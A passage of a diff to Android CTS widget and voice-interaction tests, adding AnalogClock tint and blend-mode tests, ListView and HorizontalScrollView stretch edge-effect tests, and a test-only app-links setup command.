     private final @NonNull SessionControl mSessionControl = new SessionControl();
     private final @NonNull ActivityControl mActivityControl = new ActivityControl();
@@ -253,13 +256,18 @@
                             + "/DirectActionsActivity"))
                     .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                     .putExtra(Utils.DIRECT_ACTIONS_KEY_CALLBACK, callback);
-
-            if (!mContext.getPackageManager().isInstantApp()) {
-                intent.setPackage("android.voiceinteraction.testapp");
+            if (mContext.getPackageManager().isInstantApp()) {
+                // Override app-links domain verification.
+                runShellCommand(
+                        String.format(
+                                "pm set-app-links-user-selection --user cur --package %1$s true"
+                                        + " %1$s",
+                                TEST_APP_PACKAGE));
+            } else {
+                intent.setPackage(TEST_APP_PACKAGE);
             }
 
             Log.v(TAG, "startActivity: " + intent);
-
             mContext.startActivity(intent);
 
             if (!latch.await(OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceTest.java
index 03ace91..0d1533a 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Intent;
+import android.platform.test.annotations.AppModeFull;
 import android.service.voice.VoiceInteractionService;
 import android.voiceinteraction.common.Utils;
 
@@ -33,6 +34,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "No real use case for instant mode hotword detection service")
 public final class HotwordDetectionServiceTest extends AbstractVoiceInteractionTestCase {
     static final String TAG = "HotwordDetectionServiceTest";
 
diff --git a/tests/tests/widget/res/layout/analogclock_layout.xml b/tests/tests/widget/res/layout/analogclock_layout.xml
index 2f2c5a7..b5fa004 100644
--- a/tests/tests/widget/res/layout/analogclock_layout.xml
+++ b/tests/tests/widget/res/layout/analogclock_layout.xml
@@ -28,9 +28,17 @@
         android:layout_width="60dp"
         android:layout_height="60dp"
         android:dial="@drawable/blue_fill"
+        android:dialTint="@color/testcolorstatelist1"
+        android:dialTintMode="src_in"
         android:hand_hour="@drawable/green_fill"
+        android:hand_hourTint="@color/testcolor1"
+        android:hand_hourTintMode="src_over"
         android:hand_minute="@drawable/magenta_fill"
+        android:hand_minuteTint="@color/testcolor2"
+        android:hand_minuteTintMode="screen"
         android:hand_second="@drawable/yellow_fill"
+        android:hand_secondTint="@color/testcolor3"
+        android:hand_secondTintMode="add"
         android:timeZone="America/New_York"/>
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/layout/listview_layout.xml b/tests/tests/widget/res/layout/listview_layout.xml
index 79669c1..7f4872d 100644
--- a/tests/tests/widget/res/layout/listview_layout.xml
+++ b/tests/tests/widget/res/layout/listview_layout.xml
@@ -58,5 +58,11 @@
         android:layout_width="match_parent"
         android:layout_height="match_parent"/>
 
+    <ListView
+        android:id="@+id/listview_stretch"
+        android:layout_width="90px"
+        android:layout_height="90px"
+        android:edgeEffectType="stretch"/>
+
 </FrameLayout>
 
diff --git a/tests/tests/widget/res/values/colors.xml b/tests/tests/widget/res/values/colors.xml
index f104a6d2..c947b7a 100644
--- a/tests/tests/widget/res/values/colors.xml
+++ b/tests/tests/widget/res/values/colors.xml
@@ -22,6 +22,7 @@
     <drawable name="yellow">#77ffff00</drawable>
     <color name="testcolor1">#ff00ff00</color>
     <color name="testcolor2">#ffff0000</color>
+    <color name="testcolor3">#ff0000ff</color>
     <color name="failColor">#ff0000ff</color>
 
     <color name="calendarview_week_background">#40FF0000</color>
diff --git a/tests/tests/widget/res/values/dimens.xml b/tests/tests/widget/res/values/dimens.xml
index 685e2c1..0b501af 100644
--- a/tests/tests/widget/res/values/dimens.xml
+++ b/tests/tests/widget/res/values/dimens.xml
@@ -44,6 +44,8 @@
     <dimen name="textview_padding_top">2dip</dimen>
     <dimen name="textview_padding_bottom">4dip</dimen>
     <dimen name="textview_drawable_padding">2dip</dimen>
+    <dimen name="textview_fixed_width">100dp</dimen>
+    <dimen name="textview_fixed_height">200dp</dimen>
 
     <dimen name="textview_firstBaselineToTopHeight">100dp</dimen>
     <dimen name="textview_lastBaselineToBottomHeight">30dp</dimen>
diff --git a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
index b58ab3d..ae22d58 100644
--- a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
@@ -19,7 +19,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 
+import android.annotation.ColorRes;
 import android.app.Activity;
+import android.content.res.ColorStateList;
+import android.graphics.BlendMode;
+import android.graphics.Color;
 import android.graphics.drawable.Icon;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -153,4 +157,140 @@
         mClock.setTimeZone(null);
         assertNull(mClock.getTimeZone());
     }
+
+    @Test
+    public void testSetDialTintList() {
+        assertNull(mClock.getDialTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolorstatelist1),
+                mClockWithAttrs.getDialTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_checked}, {}},
+                new int[] {Color.RED, Color.BLUE});
+        mClock.setDialTintList(tintList);
+        assertEquals(tintList, mClock.getDialTintList());
+
+        mClock.setDialTintList(null);
+        assertNull(mClock.getDialTintList());
+    }
+
+    @Test
+    public void testSetDialTintBlendMode() {
+        assertNull(mClock.getDialTintBlendMode());
+        assertEquals(BlendMode.SRC_IN, mClockWithAttrs.getDialTintBlendMode());
+
+        mClock.setDialTintBlendMode(BlendMode.COLOR);
+        mClockWithAttrs.setDialTintBlendMode(BlendMode.COLOR);
+        assertEquals(BlendMode.COLOR, mClock.getDialTintBlendMode());
+        assertEquals(BlendMode.COLOR, mClockWithAttrs.getDialTintBlendMode());
+
+        mClock.setDialTintBlendMode(null);
+        mClockWithAttrs.setDialTintBlendMode(null);
+        assertNull(mClock.getDialTintBlendMode());
+        assertNull(mClockWithAttrs.getDialTintBlendMode());
+    }
+
+    @Test
+    public void testSetHourHandTintList() {
+        assertNull(mClock.getHourHandTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolor1),
+                mClockWithAttrs.getHourHandTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_checked}, {}},
+                new int[] {Color.BLACK, Color.WHITE});
+        mClock.setHourHandTintList(tintList);
+        assertEquals(tintList, mClock.getHourHandTintList());
+
+        mClock.setHourHandTintList(null);
+        assertNull(mClock.getHourHandTintList());
+    }
+
+    @Test
+    public void testSetHourHandTintBlendMode() {
+        assertNull(mClock.getHourHandTintBlendMode());
+        assertEquals(BlendMode.SRC_OVER, mClockWithAttrs.getHourHandTintBlendMode());
+
+        mClock.setHourHandTintBlendMode(BlendMode.COLOR_BURN);
+        mClockWithAttrs.setHourHandTintBlendMode(BlendMode.COLOR_BURN);
+        assertEquals(BlendMode.COLOR_BURN, mClock.getHourHandTintBlendMode());
+        assertEquals(BlendMode.COLOR_BURN, mClockWithAttrs.getHourHandTintBlendMode());
+
+        mClock.setHourHandTintBlendMode(null);
+        mClockWithAttrs.setHourHandTintBlendMode(null);
+        assertNull(mClock.getHourHandTintBlendMode());
+        assertNull(mClockWithAttrs.getHourHandTintBlendMode());
+    }
+
+    @Test
+    public void testSetMinuteHandTintList() {
+        assertNull(mClock.getMinuteHandTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolor2),
+                mClockWithAttrs.getMinuteHandTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_active}, {}},
+                new int[] {Color.CYAN, Color.BLUE});
+        mClock.setMinuteHandTintList(tintList);
+        assertEquals(tintList, mClock.getMinuteHandTintList());
+
+        mClock.setMinuteHandTintList(null);
+        assertNull(mClock.getMinuteHandTintList());
+    }
+
+    @Test
+    public void testSetMinuteHandTintBlendMode() {
+        assertNull(mClock.getMinuteHandTintBlendMode());
+        assertEquals(BlendMode.SCREEN, mClockWithAttrs.getMinuteHandTintBlendMode());
+
+        mClock.setMinuteHandTintBlendMode(BlendMode.COLOR_DODGE);
+        mClockWithAttrs.setMinuteHandTintBlendMode(BlendMode.COLOR_DODGE);
+        assertEquals(BlendMode.COLOR_DODGE, mClock.getMinuteHandTintBlendMode());
+        assertEquals(BlendMode.COLOR_DODGE, mClockWithAttrs.getMinuteHandTintBlendMode());
+
+        mClock.setMinuteHandTintBlendMode(null);
+        mClockWithAttrs.setMinuteHandTintBlendMode(null);
+        assertNull(mClock.getMinuteHandTintBlendMode());
+        assertNull(mClockWithAttrs.getMinuteHandTintBlendMode());
+    }
+
+    @Test
+    public void testSetSecondHandTintList() {
+        assertNull(mClock.getSecondHandTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolor3),
+                mClockWithAttrs.getSecondHandTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_checked}, {}},
+                new int[] {Color.GREEN, Color.BLUE});
+        mClock.setSecondHandTintList(tintList);
+        assertEquals(tintList, mClock.getSecondHandTintList());
+
+        mClock.setSecondHandTintList(null);
+        assertNull(mClock.getSecondHandTintList());
+    }
+
+    @Test
+    public void testSetSecondHandTintBlendMode() {
+        assertNull(mClock.getSecondHandTintBlendMode());
+        assertEquals(BlendMode.PLUS, mClockWithAttrs.getSecondHandTintBlendMode());
+
+        mClock.setSecondHandTintBlendMode(BlendMode.DARKEN);
+        mClockWithAttrs.setSecondHandTintBlendMode(BlendMode.DARKEN);
+        assertEquals(BlendMode.DARKEN, mClock.getSecondHandTintBlendMode());
+        assertEquals(BlendMode.DARKEN, mClockWithAttrs.getSecondHandTintBlendMode());
+
+        mClock.setSecondHandTintBlendMode(null);
+        mClockWithAttrs.setSecondHandTintBlendMode(null);
+        assertNull(mClock.getSecondHandTintBlendMode());
+        assertNull(mClockWithAttrs.getSecondHandTintBlendMode());
+    }
+
+    private ColorStateList getColorStateList(@ColorRes int resId) {
+        return mClock.getContext().getColorStateList(resId);
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
index c468cc9..ec3856c 100644
--- a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
@@ -28,21 +28,18 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.graphics.Rect;
-import android.os.SystemClock;
 import android.util.AttributeSet;
 import android.util.Xml;
-import android.view.PixelCopy;
 import android.view.View;
 import android.view.View.MeasureSpec;
 import android.view.ViewGroup;
-import android.view.animation.AnimationUtils;
 import android.widget.EdgeEffect;
 import android.widget.FrameLayout;
 import android.widget.HorizontalScrollView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
@@ -51,9 +48,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.SynchronousPixelCopy;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
@@ -62,6 +57,8 @@
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 
+import java.util.ArrayList;
+
 /**
  * Test {@link HorizontalScrollView}.
  */
@@ -807,121 +804,32 @@
         // Make sure that the scroll view we care about is on screen and at the left:
         showOnlyStretch();
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
-
-        Bitmap[] bitmap = new Bitmap[1];
-
-        int width = mScrollViewStretch.getWidth();
-        int height = mScrollViewStretch.getHeight();
-
-        CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                locationOnScreen[0],
-                locationOnScreen[1],
-                50,
-                0,
-                50,
-                5,
-                new CtsTouchUtils.EventInjectionListener() {
-                    private int mNumEvents = 0;
-
-                    @Override
-                    public void onDownInjected(int xOnScreen, int yOnScreen) {
-                    }
-
-                    @Override
-                    public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                        mNumEvents++;
-                        if (mNumEvents == 5) {
-                            // Have to take the picture after drag, but before the up event
-                            bitmap[0] = takeScreenshot(locationOnScreen[0], locationOnScreen[1],
-                                    width,
-                                    height);
-                        }
-                    }
-
-                    @Override
-                    public void onUpInjected(int xOnScreen, int yOnScreen) {
-                    }
-                });
-
-        // The blue should stretch beyond its normal dimensions. Avoid the shadow at the top.
-        assertEquals(Color.BLUE, bitmap[0].getPixel(52, 49));
+        assertTrue(StretchEdgeUtil.dragRightStretches(mActivityRule, mScrollViewStretch));
     }
 
     // If this test is showing as flaky, it is more likely that it is broken. I've
     // leaned toward false positive over false negative.
     @LargeTest
     @Test
-    public void testStretchLeftAndCatch() throws Throwable {
+    public void testStretchAtLeftAndCatch() throws Throwable {
         // Make sure that the scroll view we care about is on screen and at the top:
         showOnlyStretch();
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
+        assertTrue(StretchEdgeUtil.dragRightTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
 
-        boolean[] wasDownDoneInTime = new boolean[1];
+    @Test
+    public void testEdgeEffectType() {
+        // Should default to "glow"
+        assertEquals(EdgeEffect.TYPE_GLOW, mScrollViewRegular.getEdgeEffectType());
 
-        // Try at most 5 times. Give slow devices their best chance to respond, but
-        // don't penalize them with a flaky test if they can't complete in time.
-        for (int i = 0; i < 5 && !wasDownDoneInTime[0]; i++) {
-            CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                    locationOnScreen[0],
-                    locationOnScreen[1],
-                    89,
-                    0,
-                    50,
-                    5,
-                    new CtsTouchUtils.EventInjectionListener() {
-                        private long mLastAnimationTime;
+        // This one has "stretch" attribute
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
 
-                        @Override
-                        public void onDownInjected(int xOnScreen, int yOnScreen) {
-                        }
-
-                        @Override
-                        public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                            mLastAnimationTime = AnimationUtils.currentAnimationTimeMillis();
-                        }
-
-                        @Override
-                        public void onUpInjected(int xOnScreen, int yOnScreen) {
-                            CtsTouchUtils.injectDownEvent(mInstrumentation.getUiAutomation(),
-                                    SystemClock.uptimeMillis(), locationOnScreen[0],
-                                    locationOnScreen[1], null);
-                            long animationTime = AnimationUtils.currentAnimationTimeMillis();
-                            // The receding time is 600 ms, but we don't want to be near the final
-                            // part of the animation when the pixels may overlap.
-                            if (animationTime - mLastAnimationTime < 400) {
-                                wasDownDoneInTime[0] = true;
-                            }
-                        }
-                    });
-
-            // To avoid flaky tests, this ensures that the down event was received before the
-            // recede went too far.
-            if (wasDownDoneInTime[0]) {
-                // Now make sure that we wait until the release should normally have finished:
-                sleepAnimationTime(600);
-
-                // Since we caught it, it should be held and still stretched.
-                int width = mScrollViewStretch.getWidth();
-                int height = mScrollViewStretch.getHeight();
-
-                Bitmap bitmap = takeScreenshot(locationOnScreen[0], locationOnScreen[1], width,
-                        height);
-
-                // The blue should still be stretched
-                assertEquals(Color.BLUE, bitmap.getPixel(52, 49));
-            }
-            CtsTouchUtils.injectUpEvent(mInstrumentation.getUiAutomation(),
-                    SystemClock.uptimeMillis(), false,
-                    locationOnScreen[0], locationOnScreen[1], null);
-        }
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_GLOW);
+        assertEquals(EdgeEffect.TYPE_GLOW, mScrollViewStretch.getEdgeEffectType());
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
     }
 
     @Test
@@ -934,54 +842,14 @@
             mScrollViewStretch.scrollTo(210, 0);
         });
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
-
-        Bitmap[] bitmap = new Bitmap[1];
-
-        int width = mScrollViewStretch.getWidth();
-        int height = mScrollViewStretch.getHeight();
-
-        CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                locationOnScreen[0] + 89,
-                locationOnScreen[1],
-                -50,
-                0,
-                50,
-                5,
-                new CtsTouchUtils.EventInjectionListener() {
-                    private int mNumEvents = 0;
-                    @Override
-                    public void onDownInjected(int xOnScreen, int yOnScreen) {
-                    }
-
-                    @Override
-                    public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                        mNumEvents++;
-                        if (mNumEvents == 5) {
-                            // Have to take the picture after drag, but before the up event
-                            bitmap[0] = takeScreenshot(locationOnScreen[0], locationOnScreen[1],
-                                    width,
-                                    height);
-                        }
-                    }
-
-                    @Override
-                    public void onUpInjected(int xOnScreen, int yOnScreen) {
-                    }
-                });
-
-        // The pink should stretch beyond its normal dimensions. Also avoid the shadow
-        assertEquals(Color.MAGENTA, bitmap[0].getPixel(38, 49));
+        assertTrue(StretchEdgeUtil.dragLeftStretches(mActivityRule, mScrollViewStretch));
     }
 
     // If this test is showing as flaky, it is more likely that it is broken. I've
     // leaned toward false positive over false negative.
     @LargeTest
     @Test
-    public void testStretchRightAndCatch() throws Throwable {
+    public void testStretchAtRightAndCatch() throws Throwable {
         // Make sure that the scroll view we care about is on screen and at the top:
         showOnlyStretch();
 
@@ -990,86 +858,7 @@
             mScrollViewStretch.scrollTo(210, 0);
         });
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
-
-        boolean[] wasDownDoneInTime = new boolean[1];
-
-        // Try at most 5 times. Give slow devices their best chance to respond, but
-        // don't penalize them with a flaky test if they can't complete in time.
-        for (int i = 0; i < 5 && !wasDownDoneInTime[0]; i++) {
-            CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                    locationOnScreen[0] + 89,
-                    locationOnScreen[1],
-                    -89,
-                    0,
-                    50,
-                    5,
-                    new CtsTouchUtils.EventInjectionListener() {
-                        private long mLastAnimationTime;
-
-                        @Override
-                        public void onDownInjected(int xOnScreen, int yOnScreen) {
-                        }
-
-                        @Override
-                        public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                            mLastAnimationTime = AnimationUtils.currentAnimationTimeMillis();
-                        }
-
-                        @Override
-                        public void onUpInjected(int xOnScreen, int yOnScreen) {
-                            CtsTouchUtils.injectDownEvent(mInstrumentation.getUiAutomation(),
-                                    SystemClock.uptimeMillis(), locationOnScreen[0],
-                                    locationOnScreen[1], null);
-                            long animationTime = AnimationUtils.currentAnimationTimeMillis();
-                            // The receding time is 600 ms, but we don't want to be near the final
-                            // part of the animation when the pixels may overlap.
-                            if (animationTime - mLastAnimationTime < 400) {
-                                wasDownDoneInTime[0] = true;
-                            }
-                        }
-                    });
-
-            // To avoid flaky tests, this ensures that the down event was received before the
-            // recede went too far.
-            if (wasDownDoneInTime[0]) {
-                // Now make sure that we wait until the release should normally have finished:
-                sleepAnimationTime(600);
-
-                // Since we caught it, it should be held and still stretched.
-                int width = mScrollViewStretch.getWidth();
-                int height = mScrollViewStretch.getHeight();
-
-                Bitmap bitmap = takeScreenshot(locationOnScreen[0], locationOnScreen[1], width,
-                        height);
-
-                // The magenta should still be stretched
-                assertEquals(Color.MAGENTA, bitmap.getPixel(38, 49));
-            }
-            CtsTouchUtils.injectUpEvent(mInstrumentation.getUiAutomation(),
-                    SystemClock.uptimeMillis(), false,
-                    locationOnScreen[0], locationOnScreen[1], null);
-        }
-    }
-
-    /**
-     * This sleeps until the {@link AnimationUtils#currentAnimationTimeMillis()} changes
-     * by at least <code>durationMillis</code> milliseconds. This is useful for EdgeEffect because
-     * it uses that mechanism to determine the animation duration.
-     *
-     * @param durationMillis The time to sleep in milliseconds.
-     */
-    private void sleepAnimationTime(long durationMillis) throws Exception {
-        final long startTime = AnimationUtils.currentAnimationTimeMillis();
-        long currentTime = startTime;
-        final long endTime = startTime + durationMillis;
-        do {
-            Thread.sleep(endTime - currentTime);
-            currentTime = AnimationUtils.currentAnimationTimeMillis();
-        } while (currentTime < endTime);
+        assertTrue(StretchEdgeUtil.dragLeftTapAndHoldStretches(mActivityRule, mScrollViewStretch));
     }
 
     private void showOnlyStretch() throws Throwable {
@@ -1077,22 +866,14 @@
             mScrollViewCustom.setVisibility(View.GONE);
             mScrollViewCustomEmpty.setVisibility(View.GONE);
             mScrollViewRegular.setVisibility(View.GONE);
+            // The stretch HorizontalScrollView is 90x90 pixels
+            Rect exclusionRect = new Rect(0, 0, 90, 90);
+            ArrayList exclusionRects = new ArrayList();
+            exclusionRects.add(exclusionRect);
+            mScrollViewStretch.setSystemGestureExclusionRects(exclusionRects);
         });
     }
 
-    private Bitmap takeScreenshot(int screenPositionX, int screenPositionY, int width, int height) {
-        SynchronousPixelCopy copy = new SynchronousPixelCopy();
-        Bitmap dest = Bitmap.createBitmap(
-                width, height,
-                mActivity.getWindow().isWideColorGamut()
-                        ? Bitmap.Config.RGBA_F16 : Bitmap.Config.ARGB_8888);
-        Rect srcRect = new Rect(0, 0, width, height);
-        srcRect.offset(screenPositionX, screenPositionY);
-        int copyResult = copy.request(mActivity.getWindow(), srcRect, dest);
-        assertEquals(PixelCopy.SUCCESS, copyResult);
-        return dest;
-    }
-
     private boolean isInRange(int current, int from, int to) {
         if (from < to) {
             return current >= from && current <= to;
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewTest.java b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
index 548bce6..033c4ce 100644
--- a/tests/tests/widget/src/android/widget/cts/ListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
@@ -58,11 +58,16 @@
 import android.widget.AdapterView;
 import android.widget.AdapterView.OnItemClickListener;
 import android.widget.ArrayAdapter;
+import android.widget.BaseAdapter;
+import android.widget.EdgeEffect;
 import android.widget.FrameLayout;
 import android.widget.ListView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 import android.widget.cts.util.TestUtils;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.LargeTest;
@@ -107,10 +112,14 @@
     private final String[] mNameList = new String[] {
         "Jacky", "David", "Kevin", "Michael", "Andy"
     };
+    private final int[] mColorList = new int[] {
+        Color.BLUE, Color.CYAN, Color.GREEN, Color.YELLOW, Color.RED, Color.MAGENTA
+    };
 
     private Instrumentation mInstrumentation;
     private Activity mActivity;
     private ListView mListView;
+    private ListView mListViewStretch;
     private TextView mTextView;
     private TextView mSecondTextView;
 
@@ -118,6 +127,7 @@
     private ArrayAdapter<String> mAdapter_countries;
     private ArrayAdapter<String> mAdapter_longCountries;
     private ArrayAdapter<String> mAdapter_names;
+    private ColorAdapter mAdapterColors;
 
     @Rule
     public ActivityTestRule<ListViewCtsActivity> mActivityRule =
@@ -136,8 +146,10 @@
                 android.R.layout.simple_list_item_1, mLongCountryList);
         mAdapter_names = new ArrayAdapter<>(mActivity, android.R.layout.simple_list_item_1,
                 mNameList);
+        mAdapterColors = new ColorAdapter(mActivity, mColorList);
 
         mListView = (ListView) mActivity.findViewById(R.id.listview_default);
+        mListViewStretch = (ListView) mActivity.findViewById(R.id.listview_stretch);
     }
 
     @Test
@@ -1147,6 +1159,85 @@
         Assert.assertEquals(tag, newItem.getTag());
     }
 
+    @Test
+    public void testEdgeEffectType() {
+        // Should default to "glow"
+        assertEquals(EdgeEffect.TYPE_GLOW, mListView.getEdgeEffectType());
+
+        // This one has "stretch" attribute
+        assertEquals(EdgeEffect.TYPE_STRETCH, mListViewStretch.getEdgeEffectType());
+
+        mListViewStretch.setEdgeEffectType(EdgeEffect.TYPE_GLOW);
+        assertEquals(EdgeEffect.TYPE_GLOW, mListViewStretch.getEdgeEffectType());
+        mListViewStretch.setEdgeEffectType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, mListViewStretch.getEdgeEffectType());
+    }
+
+    @Test
+    public void testStretchAtTop() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownStretches(mActivityRule, mListViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchTopAndCatch() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownTapAndHoldStretches(mActivityRule, mListViewStretch));
+    }
+
+    private void scrollToBottomOfStretch() throws Throwable {
+        do {
+            mActivityRule.runOnUiThread(() -> {
+                mListViewStretch.scrollListBy(50);
+            });
+        } while (mListViewStretch.pointToPosition(0, 40) != mColorList.length - 1);
+    }
+
+    @Test
+    public void testStretchAtBottom() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        scrollToBottomOfStretch();
+        assertTrue(StretchEdgeUtil.dragUpStretches(mActivityRule, mListViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchBottomAndCatch() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        scrollToBottomOfStretch();
+        assertTrue(StretchEdgeUtil.dragUpTapAndHoldStretches(mActivityRule, mListViewStretch));
+    }
+
+    private void showOnlyStretch() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            ViewGroup parent = (ViewGroup) mListViewStretch.getParent();
+            for (int i = 0; i < parent.getChildCount(); i++) {
+                View child = parent.getChildAt(i);
+                if (child != mListViewStretch) {
+                    child.setVisibility(View.GONE);
+                }
+            }
+            mListViewStretch.setAdapter(mAdapterColors);
+            mListViewStretch.setDivider(null);
+            mListViewStretch.setDividerHeight(0);
+        });
+        // Give it an opportunity to finish layout.
+        mActivityRule.runOnUiThread(() -> {});
+    }
+
     private static class StableArrayAdapter<T> extends ArrayAdapter<T> {
         public StableArrayAdapter(Context context, int resource, List<T> objects) {
             super(context, resource, objects);
@@ -1295,4 +1386,43 @@
 
         verify(overscrollFooterDrawable, atLeastOnce()).draw(any(Canvas.class));
     }
+
+    private static class ColorAdapter extends BaseAdapter {
+        private int[] mColors;
+        private Context mContext;
+
+        ColorAdapter(Context context, int[] colors) {
+            mContext = context;
+            mColors = colors;
+        }
+
+        @Override
+        public int getCount() {
+            return mColors.length;
+        }
+
+        @Override
+        public Object getItem(int position) {
+            return mColors[position];
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @NonNull
+        @Override
+        public View getView(int position, @Nullable View convertView, @NonNull ViewGroup parent) {
+            int color = mColors[position];
+            if (convertView != null) {
+                convertView.setBackgroundColor(color);
+                return convertView;
+            }
+            View view = new View(mContext);
+            view.setBackgroundColor(color);
+            view.setLayoutParams(new ViewGroup.LayoutParams(90, 50));
+            return view;
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index d7d7438..bf96577 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -18,6 +18,16 @@
 
 import static android.util.TypedValue.COMPLEX_UNIT_DIP;
 import static android.util.TypedValue.COMPLEX_UNIT_PX;
+import static android.widget.RemoteViews.MARGIN_BOTTOM;
+import static android.widget.RemoteViews.MARGIN_END;
+import static android.widget.RemoteViews.MARGIN_LEFT;
+import static android.widget.RemoteViews.MARGIN_RIGHT;
+import static android.widget.RemoteViews.MARGIN_START;
+import static android.widget.RemoteViews.MARGIN_TOP;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static junit.framework.Assert.fail;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -30,11 +40,15 @@
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.res.ColorStateList;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.graphics.BlendMode;
+import android.graphics.Color;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Icon;
 import android.net.Uri;
@@ -50,6 +64,7 @@
 import android.widget.Button;
 import android.widget.CheckBox;
 import android.widget.Chronometer;
+import android.widget.CompoundButton;
 import android.widget.DatePicker;
 import android.widget.EditText;
 import android.widget.FrameLayout;
@@ -82,6 +97,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ThrowingRunnable;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
@@ -250,6 +266,27 @@
     }
 
